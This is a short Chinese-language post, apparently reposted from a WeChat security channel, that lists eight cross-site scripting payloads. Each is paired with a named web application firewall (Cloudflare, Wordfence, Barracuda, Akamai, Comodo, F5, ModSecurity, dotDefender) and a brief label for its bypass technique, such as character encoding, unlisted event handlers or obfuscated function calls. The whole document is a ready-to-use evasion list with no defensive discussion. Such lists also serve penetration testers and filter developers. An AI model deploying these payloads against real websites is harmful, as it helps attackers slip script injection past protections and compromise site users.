8 个 WAF绕过

名称： Cloudflare
有效负载： <a"/onclick=(confirm)()>click
绕过技术：非空白填充

名称： Wordfence
负载： <a/href=javascript&colon;alert()>click
绕过技术：数字字符编码

名称：Barracuda
有效载荷： <a/href=&#74;ava%0a%0d%09script&colon;alert()>click
绕过技术：数字字符编码

名称： Akamai
负载： <d3v/onauxclick=[2].some(confirm)>click
绕过技术：黑名单中缺少事件处理程序和函数调用混淆

名称： Comodo
有效负载： <d3v/onauxclick=(((confirm)))``>click
绕过技术：黑名单中缺少事件处理程序和函数调用混淆

名称： F5
负载： <d3v/onmouseleave=[2].some(confirm)>click
绕过技术：黑名单中缺少事件处理程序和函数调用混淆

名称： ModSecurity
负载： <details/open/ontoggle=alert()>
绕过技术：黑名单中缺少标签（事件处理程序？）

名称： dotdefender
负载： <details/open/ontoggle=(confirm)()//
绕过技术：黑名单中缺少标签、函数调用混淆和备用标签结尾

原文始发于微信公众号（Khan安全攻防实验室）：8 个 WAF绕过